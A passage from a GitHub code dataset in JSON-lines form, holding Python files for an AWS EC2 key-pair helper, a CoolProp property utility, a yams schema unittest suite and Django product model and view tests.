Numbers.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"7111422394","text":"import logging, os\nfrom botocore.exceptions import ClientError\nfrom common.session import Session\nfrom common.aws_resource_interface import AWSResourceInterface\n\nclass KeyPair(AWSResourceInterface):\n def __init__(self: object, keypair: object):\n self.keypair = keypair\n\n @property\n def id(self: object) -> str:\n return self.keypair.key_pair_id\n \n @property\n def name(self: object) -> str:\n return self.keypair.key_name\n \n @property\n def filename(self: object) -> str:\n return os.path.join(\"./pemfiles/\", self.name + '.pem')\n \n def save(self: object) -> None:\n logging.debug(f\"Downloading keypair '{self.keypair}' to {self.filename}...\")\n with open(self.filename, 'w') as file: \n file.write(self.keypair.key_material)\n os.chmod(self.filename, 0o400)\n logging.info(f\"Saved keypair '{self.keypair}' to {self.filename}\")\n\n def wait_until_exists(self: object):\n Session.ec2_client.get_waiter(\"key_pair_exists\").wait(KeyPairIds=[self.keypair.key_pair_id])\n\n def drop(self: object) -> None:\n logging.debug(f\"Deleting keypair filename '{self.filename}'...\")\n if os.path.isfile(self.filename):\n os.chmod(self.filename, 0o666)\n os.remove(self.filename)\n logging.info(f\"Deleted keypair filename '{self.filename}'\")\n logging.debug(f\"Deleting keypair '{self.keypair}'...\")\n self.keypair.delete()\n logging.info(f\"Deleted keypair '{self.keypair}'\")\n\nclass KeyPairs:\n def getKeyPair(name: str):\n keypair = KeyPairs.findKeyPair(name)\n if keypair: return keypair\n\n logging.debug(f\"Creating keypair '{name}'...\")\n ec2_keypair = Session.ec2_resource.create_key_pair(\n KeyName=name, \n KeyFormat='pem'\n )\n logging.info(f\"Created keypair '{name}': {ec2_keypair}\")\n keypair = KeyPair(keypair=ec2_keypair) if ec2_keypair else None \n keypair.save()\n return keypair\n\n def findKeyPair(name: str):\n keypair = None\n try:\n keypairs = list(Session.ec2_resource.key_pairs.filter(\n KeyNames=[name]\n ))\n if len(keypairs) == 0: raise IndexError(f\"Unable to find keypair '{name}'\")\n # intentionally not caught\n if len(keypairs) != 1: raise RuntimeError(f\"Unexpected results. Expected 1 internet gateway but got {len(keypairs)}\")\n keypair = keypairs[0]\n logging.info(f\"Found keypair '{name}': {keypair}\")\n except (IndexError,ClientError):\n logging.info(f\"Key pair '{name}' not found\")\n return KeyPair(keypair=keypair) if keypair else None\n","repo_name":"tomdemay/glcloud","sub_path":"common/ec2/key_pair.py","file_name":"key_pair.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32450875561","text":"from CoolProp.CoolProp import PropsSI\nfrom pandas import DataFrame\n\n\nclass Utility:\n @staticmethod\n def get_single_prop(\n p: str, p1: str, v1: float, p2: str, v2: float, fluid: str\n ) -> float:\n return PropsSI(p, p1, v1, p2, v2, fluid)\n\n @staticmethod\n def get_ts_data(fluid: str) -> DataFrame:\n # will be implemented\n return DataFrame({\"T\": [], \"s\": []})\n\n @staticmethod\n def normalize_fluids(fluid: dict[str, float]) -> dict[str, float]:\n normalized_fluid = {}\n total_mass = 0.0\n for d in fluid.keys():\n total_mass += fluid[d]\n for d in fluid.keys():\n normalized_fluid[d] = fluid[d] / total_mass\n return normalized_fluid\n\n @staticmethod\n def get_all_props(\n p1: str, v1: float, p2: str, v2: float, fluid: dict[str, float]\n ) -> dict[str, float]:\n fld = \"\"\n for d in fluid.keys():\n fld += f\"{d}[{fluid[d]}]&\"\n fld = fld[:-1]\n return {\n \"T\": PropsSI(\"T\", p1, v1, p2, v2, fld),\n \"P\": PropsSI(\"P\", p1, v1, p2, v2, fld),\n \"D\": PropsSI(\"D\", p1, v1, p2, v2, fld),\n \"h\": PropsSI(\"H\", p1, v1, p2, v2, fld),\n \"s\": PropsSI(\"S\", p1, v1, p2, v2, fld),\n \"q\": PropsSI(\"Q\", p1, v1, p2, v2, fld),\n }\n","repo_name":"volkan-a/Streamlit-Thermodynamic-Calculator","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17763316669","text":"\"\"\"A docstring for the literate.py module\"\"\"\n\n# imports\nimport sys\nfrom argparse import ArgumentParser\n\n# constants\n\n# exception classes\n\n# interface funchtions\n\n# classes\n\n\nclass LiterateClass(object):\n \"\"\"A class to be substituted above\n\n Parameters\n ----------\n\n String who: name of user\n \"\"\"\n def __init__(self, who):\n self.who = who\n return\n\n def __call__(self):\n print(\"Who: {0}\".format(self.who))\n\n# internal functions & classes\n\ndef main():\n parser = ArgumentParser(description=\"literate caller\")\n parser.add_argument(\"-w\", \"--who\", type=str,\n default=\"me\", help=\"who are you?\")\n args = parser.parse_args()\n who = args.who\n thing = LiterateClass(who)\n thing()\n return 0\n\n\nif __name__ == \"__main__\":\n status = main()\n sys.exit(status)\n","repo_name":"necromuralist/necromuralist.github.io","sub_path":"posts/literate_python/literate.py","file_name":"literate.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"74783204965","text":"from logilab.common.testlib import TestCase, unittest_main\n\nfrom copy import copy, deepcopy\nfrom tempfile import mktemp\n\nfrom six import text_type\n\nfrom yams import (BASE_TYPES, ValidationError, BadSchemaDefinition,\n register_base_type, unregister_base_type)\nfrom yams.buildobjs import (register_base_types, make_type, _add_relation,\n EntityType, RelationType, RelationDefinition,\n RichString)\nfrom yams.schema import Schema, RelationDefinitionSchema\nfrom yams.interfaces import IVocabularyConstraint\nfrom yams.constraints import (BASE_CHECKERS, SizeConstraint, RegexpConstraint,\n StaticVocabularyConstraint, IntervalBoundConstraint,\n FormatConstraint)\nfrom yams.reader import SchemaLoader\nfrom yams.buildobjs import register_base_types\n\n\n# build a dummy schema ########################################################\n\n\nclass BaseSchemaTC(TestCase):\n def setUp(self):\n global schema, enote, eaffaire, eperson, esociete, estring, eint\n global rconcerne, rnom\n schema = Schema('Test Schema')\n register_base_types(schema)\n enote = schema.add_entity_type(EntityType('Note'))\n eaffaire = schema.add_entity_type(EntityType('Affaire'))\n eperson = schema.add_entity_type(EntityType('Person'))\n esociete = schema.add_entity_type(EntityType('Societe'))\n\n\n RELS = (\n # attribute relations\n ('Note date Datetime'),\n ('Note type String'),\n ('Affaire sujet String'),\n ('Affaire ref String'),\n ('Affaire starton Time'),\n ('Person nom String'),\n ('Person prenom String'),\n ('Person sexe Float'),\n ('Person tel Int'),\n ('Person fax Int'),\n ('Person datenaiss Date'),\n ('Person TEST Boolean'),\n ('Person promo String'),\n ('Person promo_enlarged String'),\n ('Person promo_encoding String'),\n ('Person promo_format String'),\n # real relations\n ('Person travaille Societe'),\n ('Person evaluee Note'),\n ('Societe evaluee Note'),\n ('Person concerne Affaire'),\n ('Person concerne Societe'),\n ('Affaire concerne Societe'),\n )\n for i, rel in enumerate(RELS):\n _from, _type, _to = rel.split()\n try:\n schema.rschema(_type)\n except KeyError:\n schema.add_relation_type(RelationType(_type))\n schema.add_relation_def(RelationDefinition(_from, _type, _to, order=i))\n schema.rschema('nom').rdef('Person', 'String').cardinality = '11' # not null\n\n enote.rdef('type').constraints = [StaticVocabularyConstraint((u'bon', u'pasbon',\n u'bof', u'peux mieux faire'))]\n enote.rdef('date').cardinality = '11'\n\n eaffaire.rdef('sujet').constraints = [SizeConstraint(128)]\n eaffaire.rdef('ref').constraints = [SizeConstraint(12), RegexpConstraint(r'[A-Z]+\\d+')]\n eperson.rdef('nom').constraints = [SizeConstraint(20, 10)]\n eperson.rdef('prenom').constraints = [SizeConstraint(64)]\n eperson.rdef('tel').constraints = [IntervalBoundConstraint(maxvalue=999999)]\n eperson.rdef('fax').constraints = [IntervalBoundConstraint(minvalue=12, maxvalue=999999)]\n eperson.rdef('promo').constraints = [StaticVocabularyConstraint( (u'bon', u'pasbon'))]\n eperson.rdef('promo_format').constraints = [FormatConstraint()]\n\n estring = schema.eschema('String')\n eint = schema.eschema('Int')\n rconcerne = schema.rschema('concerne')\n rnom = schema.rschema('nom')\n\n def assertRaisesMsg(self, ex_class, msg, func, *args, **kwargs):\n self.assertRaises(ex_class, func, *args, **kwargs)\n try:\n func(*args, **kwargs)\n except Exception as ex:\n self.assertEqual(str(ex), msg)\n\n# test data ###################################################################\n\nBAD_RELS = ( ('Truc badrelation1 Affaire'),\n ('Affaire badrelation2 Machin'),\n )\n\nATTRIBUTE_BAD_VALUES = (\n ('Person', [('nom', 1), ('nom', u'tropcour'),\n ('nom', u'>10 mais supérieur à < 20 , c\\'est long'),\n ('sexe', u'F'), ('sexe', u'MorF'), ('sexe', 'F'),\n ('promo', b'bon'), ('promo', 'uyou'),\n ('promo', u' pas bon du tout'),\n ('promo_format', u'text/something'),\n ('tel', 'notastring'),\n ('tel', 1000000),\n ('fax', 11),\n ('TEST', 'notaboolean'), #('TEST', 0), ('TEST', 1)]), #should we accept this ?\n ('TEST', 'true'), ('TEST', 'false')]),\n## the date and time are not checked for now\n## ('Person', [('nom', u' >10 mais < 20 '),\n## ('datenaiss', '979-06-12')]),\n## ('Note', [('date', '2229-01-31 minuit')]),\n## ('Affaire', [('starton', 'midi')]),\n\n ('Note', [('type', ['bof', 'peux mieux faire']),\n ('type', 'bof, je suis pas unicode, alors...'),\n ('date', None),\n ]),\n ('Affaire', [('ref', 'ginco01'), ('ref', 'GINCO'),],\n ),\n )\n\nATTRIBUTE_GOOD_VALUES = (\n ('Person', [('nom', u'>10 mais < 20 '), ('sexe', 0.5),\n ('promo', u'bon'),\n ('datenaiss', '1977-06-07'),\n ('tel', 83433), ('fax', None), ('fax', 12),\n ('TEST', True), ('TEST', False)]),\n ('Note', [('date', '2229-01-31 00:00')]),\n ('Affaire', [('starton', '00:00'),\n ('ref', u'GINCO01')]),\n )\n\nRELATIONS_BAD_VALUES = {\n 'travaille': [('Person', 'Affaire'), ('Affaire', 'Societe'),\n ('Affaire', 'Societe'), ('Societe', 'Person')]\n }\nRELATIONS_GOOD_VALUES = {\n 'travaille': [('Person', 'Societe')],\n 'concerne': [('Person', 'Affaire'), ('Affaire', 'Societe')]\n }\n\n\n# test suite ##################################################################\n\nclass EntitySchemaTC(BaseSchemaTC):\n\n def test_base(self):\n self.assertTrue(repr(eperson))\n\n def test_cmp(self):\n self.assertTrue(eperson == 'Person')\n self.assertFalse(eperson != 'Person')\n self.assertTrue('Person' == eperson)\n self.assertTrue(eperson != 'Note')\n self.assertTrue('Note' != eperson)\n self.assertFalse(enote == eperson)\n self.assertFalse(eperson == enote)\n self.assertTrue(enote != eperson)\n self.assertTrue(eperson != enote)\n l = [eperson, enote, eaffaire, esociete]\n l.sort()\n self.assertListEqual(l, [eaffaire, enote, eperson, esociete])\n self.assertListEqual(l, ['Affaire', 'Note', 'Person', 'Societe'])\n\n def test_hash(self):\n d = {}\n d[eperson] = 'p'\n d[enote] = 'n'\n self.assertEqual(d[copy(eperson)], 'p')\n self.assertEqual(d[copy(enote)], 'n')\n self.assertEqual(d['Person'], 'p')\n self.assertEqual(d['Note'], 'n')\n d = {}\n d['Person'] = eperson\n d['Note'] = enote\n self.assertEqual(copy(eperson), 'Person')\n self.assertEqual(d[copy(eperson)], 'Person')\n self.assertEqual(d[copy(enote)], 'Note')\n\n def test_deepcopy_with_regexp_constraints(self):\n eaffaire.rdef('ref').constraints = [RegexpConstraint(r'[A-Z]+\\d+')]\n rgx_cstr, = eaffaire.rdef('ref').constraints\n eaffaire2 = deepcopy(schema).eschema('Affaire')\n rgx_cstr2, = eaffaire2.rdef('ref').constraints\n self.assertEqual(rgx_cstr2.regexp, rgx_cstr.regexp)\n self.assertEqual(rgx_cstr2.flags, rgx_cstr.flags)\n self.assertEqual(rgx_cstr2._rgx, rgx_cstr._rgx)\n\n def test_deepcopy(self):\n global schema\n schema = deepcopy(schema)\n self.assertFalse(eperson is schema['Person'])\n self.assertEqual(eperson, schema['Person'])\n self.assertEqual('Person', schema['Person'])\n self.assertCountEqual(eperson.subject_relations(), schema['Person'].subject_relations())\n self.assertCountEqual(eperson.object_relations(), schema['Person'].object_relations())\n self.assertEqual(schema.eschema('Person').final, False)\n self.assertEqual(schema.eschema('String').final, True)\n self.assertEqual(schema.rschema('ref').final, True)\n self.assertEqual(schema.rschema('concerne').final, False)\n\n def test_attribute_description(self):\n schema = SchemaLoader().load([self.datadir], 'Test')\n self.assertEqual(schema['EPermission'].rdef('name').description,\n 'name or identifier of the permission')\n\n def test_deepcopy_specialization(self):\n schema2 = deepcopy(SchemaLoader().load([self.datadir], 'Test'))\n edivision = schema2.eschema('Division')\n self.assertEqual(edivision.specializes(), 'Company')\n self.assertEqual(edivision.specialized_by(), ['Subdivision'])\n schema2.del_entity_type('Subdivision')\n self.assertEqual(edivision.specialized_by(), [])\n\n def test_is_final(self):\n self.assertEqual(eperson.final, False)\n self.assertEqual(enote.final, False)\n self.assertEqual(estring.final, True)\n self.assertEqual(eint.final, True)\n self.assertEqual(eperson.subjrels['nom'].final, True)\n #self.assertEqual(eperson.is_final('concerne'), False)\n self.assertEqual(eperson.subjrels['concerne'].final, False)\n\n def test_is_metadata(self):\n self.assertEqual(eperson.is_metadata('promo'), None)\n self.assertEqual(eperson.is_metadata('promo_enlarged'), None)\n self.assertEqual(eperson.is_metadata('promo_encoding'), ('promo', 'encoding'))\n self.assertCountEqual([(k.type, v) for k, v in eperson.meta_attributes().items()],\n [('promo_encoding', ('encoding', 'promo')),\n ('promo_format', ('format', 'promo'))])\n\n def test_defaults(self):\n self.assertEqual(list(eperson.defaults()), [])\n self.assertRaises(StopIteration, next, estring.defaults())\n\n def test_vocabulary(self):\n #self.assertEqual(eperson.vocabulary('promo')\n self.assertEqual(eperson.rdef('promo').constraint_by_interface(IVocabularyConstraint).vocabulary(),\n ('bon', 'pasbon'))\n # self.assertRaises(AssertionError,\n # eperson.vocabulary, 'nom')\n\n def test_indexable_attributes(self):\n eperson.rdef('nom').fulltextindexed = True\n eperson.rdef('prenom').fulltextindexed = True\n self.assertCountEqual(list(eperson.indexable_attributes()), ['nom', 'prenom'])\n\n\n def test_goodValues_relation_default(self):\n \"\"\"check good values of entity does not raise an exception\"\"\"\n eperson.rdef('nom').default = 'No name'\n self.assertEqual(eperson.default('nom'), 'No name')\n\n def test_subject_relations(self):\n \"\"\"check subject relations a returned in the same order as in the\n schema definition\"\"\"\n rels = eperson.ordered_relations()\n expected = ['nom', 'prenom', 'sexe', 'tel', 'fax', 'datenaiss', 'TEST',\n 'promo', 'promo_enlarged', 'promo_encoding', 'promo_format',\n 'travaille', 'evaluee', 'concerne']\n self.assertEqual([r.type for r in rels], expected)\n\n def test_object_relations(self):\n \"\"\"check object relations a returned in the same order as in the\n schema definition\"\"\"\n rels = eaffaire.object_relations()\n expected = ['concerne']\n self.assertEqual(rels, expected)\n rels = [schem.type for schem in eaffaire.object_relations()]\n self.assertEqual(rels, expected)\n self.assertEqual(eaffaire.objrels['concerne'].type,\n 'concerne')\n\n def test_destination_type(self):\n \"\"\"check subject relations a returned in the same order as in the\n schema definition\"\"\"\n self.assertEqual(eperson.destination('nom'), 'String')\n self.assertEqual(eperson.destination('travaille'), 'Societe')\n\n def test_check_unique_together1(self):\n eperson._unique_together = [('prenom', 'nom')]\n eperson.check_unique_together()\n\n def test_check_unique_together2(self):\n eperson._unique_together = [('prenom', 'noms')]\n with self.assertRaises(BadSchemaDefinition) as cm:\n eperson.check_unique_together()\n self.assertTrue('no such attribute or relation noms'\n in cm.exception.args[0])\n\n def test_check_unique_together3(self):\n eperson._unique_together = [('nom', 'travaille')]\n with self.assertRaises(BadSchemaDefinition) as cm:\n eperson.check_unique_together()\n self.assertTrue('travaille is not an attribute or an inlined relation'\n in cm.exception.args[0])\n\n\nclass RelationSchemaTC(BaseSchemaTC):\n\n def test_cmp(self):\n self.assertTrue(rconcerne == 'concerne')\n self.assertFalse(rconcerne != 'concerne')\n self.assertTrue('concerne' == rconcerne)\n self.assertTrue(rconcerne != 'nom')\n self.assertTrue('nom' != rconcerne)\n self.assertFalse(rnom == rconcerne)\n self.assertFalse(rconcerne == rnom)\n self.assertTrue(rnom != rconcerne)\n self.assertTrue(rconcerne != rnom)\n\n def test_hash(self):\n d = {}\n d[rconcerne] = 'p'\n d[rnom] = 'n'\n self.assertEqual(d[copy(rconcerne)], 'p')\n self.assertEqual(d[copy(rnom)], 'n')\n self.assertEqual(d['concerne'], 'p')\n self.assertEqual(d['nom'], 'n')\n\n\n def test_base(self):\n self.assertTrue(repr(rnom))\n\n def test_star_types(self):\n types = sorted(rconcerne.subjects())\n self.assertEqual(types, ['Affaire', 'Person'])\n types = sorted(rconcerne.objects())\n self.assertEqual(types, ['Affaire', 'Societe'])\n\n def test_raise_update(self):\n self.assertRaisesMsg(BadSchemaDefinition,\n 'type String can\\'t be used as subject in a relation',\n rconcerne.update, estring, enote, {})\n## self.assertRaisesMsg(BadSchemaDefinition,\n## \"can't have a final relation pointing to multiple entity types (nom: ['String', 'Int'])\" ,\n## rnom.update, enote, eint)\n msgref = (\"ambiguous relation: 'Person.nom' is final (String) \"\n \"but not 'Note.nom' (Affaire)\")\n self.assertRaisesMsg(BadSchemaDefinition, msgref,\n rnom.update, enote, eaffaire, {})\n self.assertRaises(BadSchemaDefinition,\n rconcerne.update, enote, estring, {})\n\n def test_association_types(self):\n expected = [ ('Affaire', ['Societe']),\n ('Person', ['Affaire', 'Societe']) ]\n assoc_types = rconcerne.associations()\n assoc_types.sort()\n self.assertEqual(assoc_types, expected)\n assoc_types = []\n for _from, _to in rconcerne.associations():\n assoc_types.append( (_from, _to))\n #assoc_types.append( (_from.type, [s.type for s in _to]) )\n assoc_types.sort()\n self.assertEqual(assoc_types, expected)\n\n# def test_reverse_association_types(self):\n# expected = [ ('Affaire', ['Person']),\n# ('Societe', ['Person', 'Affaire'])]\n# assoc_types = rconcerne.reverse_association_types()\n# assoc_types.sort()\n# self.assertEqual(assoc_types, expected)\n# assoc_types = []\n# for _from, _to in rconcerne.reverse_association_types(True):\n# assoc_types.append( (_from.type, [s.type for s in _to]) )\n# assoc_types.sort()\n# self.assertEqual(assoc_types, expected)\n\n\nclass SchemaTC(BaseSchemaTC):\n\n def test_schema_base(self):\n \"\"\"test base schema methods\n \"\"\"\n all_types = ['Affaire', 'BigInt', 'Boolean', 'Bytes', 'Date', 'Datetime',\n 'Decimal',\n 'Float', 'Int', 'Interval', 'Note', 'Password',\n 'Person', 'Societe', 'String', 'TZDatetime', 'TZTime', 'Time']\n self.assertEqual(sorted(schema.entities()), all_types)\n self.assertEqual(schema.has_entity('Affaire'), True)\n self.assertEqual(schema.has_entity('Aaire'), False)\n\n def test_raise_add_entity_type(self):\n self.assertRaisesMsg(BadSchemaDefinition, \"entity type Person is already defined\" ,\n schema.add_entity_type, EntityType('Person'))\n\n def test_raise_relation_def(self):\n self.assertRaisesMsg(BadSchemaDefinition, \"using unknown type 'Afire' in relation evaluee\" ,\n schema.add_relation_def, RelationDefinition('Afire', 'evaluee', 'Note'))\n## XXX what is this ?\n## self.assertRaisesMsg(BadSchemaDefinition, 'the \"symmetric\" property should appear on every definition of relation evaluee' ,\n## schema.add_relation_def, RelationDefinition('Affaire', 'evaluee', 'Note', symmetric=True))\n\n def test_schema_relations(self):\n all_relations = ['TEST', 'concerne', 'travaille', 'evaluee',\n 'date', 'type', 'sujet', 'ref', 'nom', 'prenom',\n 'starton', 'sexe', 'promo', 'promo_enlarged',\n 'promo_encoding', 'promo_format', 'tel', 'fax',\n 'datenaiss']\n all_relations.sort()\n relations = schema.relations()\n relations.sort()\n self.assertEqual(relations, all_relations)\n\n self.assertEqual(len(eperson.rdef('nom').constraints), 1)\n self.assertEqual(len(eperson.rdef('prenom').constraints), 1)\n\n def test_schema_check_relations(self):\n \"\"\"test behaviour with some incorrect relations\"\"\"\n for rel in BAD_RELS:\n _from, _type, _to = rel.split()\n self.assertRaises(BadSchemaDefinition,\n schema.add_relation_def, RelationDefinition(_from, _type, _to))\n # check we can't extend a final relation\n self.assertRaises(BadSchemaDefinition,\n schema.add_relation_def, RelationDefinition('Person', 'nom', 'affaire'))\n\n def test_entities_goodValues_check(self):\n \"\"\"check good values of entity does not raise an exception\"\"\"\n for etype, val_list in ATTRIBUTE_GOOD_VALUES:\n eschema = schema.eschema(etype)\n eschema.check(dict(val_list))\n\n def test_entities_badValues_check(self):\n \"\"\"check bad values of entity raises ValidationError exception\"\"\"\n for etype, val_list in ATTRIBUTE_BAD_VALUES:\n eschema = schema.eschema(etype)\n # check attribute values one each time...\n for item in val_list:\n with self.assertRaises(ValidationError) as cm:\n eschema.check(dict([item]))\n # check automatic call to translation works properly\n text_type(cm.exception)\n\n def test_validation_error_translation_1(self):\n eschema = schema.eschema('Person')\n with self.assertRaises(ValidationError) as cm:\n eschema.check({'nom': 1, 'promo': 2})\n cm.exception.translate(text_type)\n self.assertEqual(cm.exception.errors,\n {'nom-subject': u'incorrect value (1) for type \"String\"',\n 'promo-subject': u'incorrect value (2) for type \"String\"'})\n\n def test_validation_error_translation_2(self):\n eschema = schema.eschema('Person')\n with self.assertRaises(ValidationError) as cm:\n eschema.check({'nom': u'x'*21, 'prenom': u'x'*65})\n cm.exception.translate(text_type)\n self.assertEqual(cm.exception.errors,\n {'nom-subject': u'value should have maximum size of 20 but found 21',\n 'prenom-subject': u'value should have maximum size of 64 but found 65'})\n\n def test_validation_error_translation_3(self):\n eschema = schema.eschema('Person')\n with self.assertRaises(ValidationError) as cm:\n eschema.check({'tel': 1000000, 'fax': 1000001})\n cm.exception.translate(text_type)\n self.assertEqual(cm.exception.errors,\n {'fax-subject': u'value 1000001 must be <= 999999',\n 'tel-subject': u'value 1000000 must be <= 999999'})\n\n def test_validation_error_translation_4(self):\n verr = ValidationError(1, {None: 'global message about eid %(eid)s'}, {'eid': 1})\n verr.translate(text_type)\n self.assertEqual(verr.errors,\n {None: 'global message about eid 1'})\n\n def test_validation_error_unicode_then_translation(self):\n verr = ValidationError(1, {None: 'global message about eid %(eid)s'}, {'eid': 1})\n self.assertEqual(str(verr), '1 (None): global message about eid 1')\n self.assertEqual(text_type(verr), '1 (None): global message about eid 1')\n verr.translate(text_type)\n self.assertEqual(verr.errors,\n {None: 'global message about eid 1'})\n\n def test_validation_error_translate_without_msgargs(self):\n \"\"\"Check that ValidationError.errors get translated even without msgargs\"\"\"\n verr = ValidationError(1, {None: 'hello'})\n verr.translate(list)\n self.assertEqual(verr.errors, {None: list('hello')})\n\n def test_pickle(self):\n \"\"\"schema should be pickeable\"\"\"\n import pickle\n picklefile = mktemp()\n picklestream = open(picklefile, 'wb')\n pickle.dump(schema, picklestream)\n picklestream.close()\n pschema = pickle.load(open(picklefile, 'rb'))\n self.assertFalse(eperson is pschema['Person'])\n self.assertEqual(eperson, pschema['Person'])\n self.assertEqual('Person', pschema['Person'])\n self.assertEqual(eperson.ordered_relations(), pschema['Person'].ordered_relations())\n self.assertEqual(eperson.object_relations(), pschema['Person'].object_relations())\n\n\n def test_rename_entity_type(self):\n affaire = schema.eschema('Affaire')\n orig_rprops = affaire.rdef('concerne')\n schema.rename_entity_type('Affaire', 'Workcase')\n self.assertCountEqual(schema._entities.keys(),\n ['BigInt', 'Boolean', 'Bytes', 'Date', 'Datetime', 'Float',\n 'Decimal',\n 'Int', 'Interval', 'Note', 'Password', 'Person',\n 'Societe', 'String', 'Time', 'TZDatetime', 'TZTime',\n 'Workcase'])\n rconcerne = schema.rschema('concerne')\n self.assertCountEqual(rconcerne.subjects(), ['Workcase', 'Person'])\n self.assertCountEqual(rconcerne.objects(), ['Workcase', 'Societe'])\n self.assertRaises(KeyError, schema.eschema, 'Affaire')\n workcase = schema.eschema('Workcase')\n schema.__test__ = True\n self.assertEqual(workcase.rdef('concerne'), orig_rprops)\n\n def test_inheritance_rdefs(self):\n class Plan(EntityType):\n pass\n rdef = RelationDefinition('Plan', 'custom_workflow', 'Workflow')\n _add_relation(Plan.__relations__, rdef)\n class TE(Plan):\n pass\n self.assertListEqual(['custom_workflow'],\n [rel.name for rel in TE.__relations__])\n\n def test_add_rdef_after_registration(self):\n class Label(EntityType):\n pass\n Label.expand_type_definitions({})\n Label.add_relation(RichString(), name='label')\n\n\nclass SymetricTC(TestCase):\n def setUp(self):\n global schema\n schema = Schema('Test Schema')\n schema.add_entity_type(EntityType('Bug'))\n schema.add_entity_type(EntityType('Story'))\n schema.add_entity_type(EntityType('Project'))\n schema.add_relation_type(RelationType('see_also', symmetric=True))\n\n def test_association_types(self):\n schema.add_relation_def(RelationDefinition('Bug', 'see_also', 'Bug'))\n schema.add_relation_def(RelationDefinition('Bug', 'see_also', 'Story'))\n schema.add_relation_def(RelationDefinition('Bug', 'see_also', 'Project'))\n schema.add_relation_def(RelationDefinition('Story', 'see_also', 'Story'))\n schema.add_relation_def(RelationDefinition('Story', 'see_also', 'Project'))\n schema.add_relation_def(RelationDefinition('Project', 'see_also', 'Project'))\n\n rsee_also = schema.rschema('see_also')\n subj_types = rsee_also.associations()\n subj_types.sort()\n self.assertEqual(subj_types,\n [('Bug', ['Bug', 'Story', 'Project']),\n ('Project', ['Bug', 'Story', 'Project']),\n ('Story', ['Bug', 'Story', 'Project'])])\n\n def test_wildcard_association_types(self):\n class see_also(RelationDefinition):\n subject = '*'\n object ='*'\n see_also.expand_relation_definitions({'see_also': see_also}, schema)\n rsee_also = schema.rschema('see_also')\n subj_types = rsee_also.associations()\n subj_types.sort()\n for key, vals in subj_types:\n vals.sort()\n self.assertEqual(subj_types,\n [('Bug', ['Bug', 'Project', 'Story']),\n ('Project', ['Bug', 'Project', 'Story']),\n ('Story', ['Bug', 'Project', 'Story'])])\n\n\nclass CustomTypeTC(TestCase):\n\n def tearDown(self):\n try:\n unregister_base_type('Test')\n except AssertionError:\n pass\n\n def test_register_base_type(self):\n register_base_type('Test', ('test1', 'test2'))\n self.assertIn('Test', BASE_TYPES)\n self.assertIn('Test', RelationDefinitionSchema.BASE_TYPE_PROPERTIES)\n self.assertEqual(RelationDefinitionSchema.BASE_TYPE_PROPERTIES['Test'],\n {'test1': None, 'test2': None})\n self.assertIn('Test', BASE_CHECKERS)\n schema = Schema('test')\n register_base_types(schema)\n self.assertIn('Test', schema)\n schema.del_entity_type('Test')\n self.assertNotIn('Test', BASE_TYPES)\n self.assertNotIn('Test', RelationDefinitionSchema.BASE_TYPE_PROPERTIES)\n self.assertNotIn('Test', BASE_CHECKERS)\n\n def test_make_base_type_class(self):\n register_base_type('Test', ('test1', 'test2'))\n Test = make_type('Test')\n self.assertIsInstance(Test, type)\n self.assertEqual(Test.etype, 'Test')\n t = Test(test1=1)\n self.assertEqual(t.test1, 1)\n self.assertFalse(hasattr(t, 'test2'))\n\nif __name__ == '__main__':\n unittest_main()\n","repo_name":"gurneyalex/yams","sub_path":"test/unittest_schema.py","file_name":"unittest_schema.py","file_ext":"py","file_size_in_byte":26884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2552711760","text":"from django.test import TestCase\nfrom rest_framework.test import APITestCase\nfrom faker import Faker\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\nfrom django.urls import reverse\nfrom supermarket.models import Supermarket\nfrom .models import Product\n\nclass ModelTestCase(TestCase):\n \"\"\"Test suite for model Product\"\"\"\n faker = Faker()\n product_name = faker.name()\n product_category = 'snack'\n\n def setUp(self):\n self.product = Product(\n name=self.product_name,\n category=self.product_category,\n )\n self.product.save()\n\n def testModelProductCreate(self):\n old_count = Product.objects.count()\n Product.objects.create(\n name=self.faker.name(),\n category=self.product_category,\n )\n new_count = Product.objects.count()\n self.assertNotEqual(old_count, new_count)\n\n def testModelProductRetrieve(self):\n product = Product.objects.get(\n name=self.product_name,\n )\n self.assertEqual(product.name, self.product_name)\n\n def testModelProductUpdate(self):\n product_new_name = self.faker.name()\n product = Product.objects.get(\n name=self.product_name,\n )\n Product.objects.filter(pk=product.id).update(\n name=product_new_name\n )\n product.refresh_from_db()\n self.assertEqual(product.name, product_new_name)\n\n def testModelProductDestroy(self):\n old_count = Product.objects.count()\n Product.objects.get(\n name=self.product_name\n ).delete()\n new_count = Product.objects.count()\n self.assertNotEqual(old_count, new_count)\n\nclass ViewTestCase(APITestCase):\n \"\"\"Test suite for view Product\"\"\"\n faker = Faker()\n product_name = faker.name()\n product_category = 'snack'\n client = APIClient()\n\n def setUp(self):\n self.product_data = {\n 'name':self.product_name,\n 'category':self.product_category,\n }\n self.response = self.client.post(\n reverse('product.l-c'),\n self.product_data,\n format='json',\n )\n \n def testViewProductCreate(self):\n self.assertEqual(self.response.status_code, status.HTTP_201_CREATED)\n\n def testViewProductList(self):\n response = self.client.get(\n reverse('product.l-c'),\n format='json',\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, self.product_name)\n\n def testViewProductRetrieve(self):\n product = Product.objects.get()\n response = self.client.get(\n reverse('product.r-u-d', kwargs={'pk':product.id}),\n format='json',\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, self.product_name)\n \n def testViewProductUpdate(self):\n product = Product.objects.get()\n product_new_data = {\n 'name':self.faker.name(),\n 'category':product.category,\n }\n response = self.client.patch(\n reverse('product.r-u-d', kwargs={'pk':product.id}),\n product_new_data,\n format='json',\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, product_new_data['name'])\n\n def testViewProductDestroy(self):\n product = Product.objects.get()\n response = self.client.delete(\n reverse('product.r-u-d', kwargs={'pk':product.id}),\n format='json',\n )\n self.assertEqual(response.status_code, 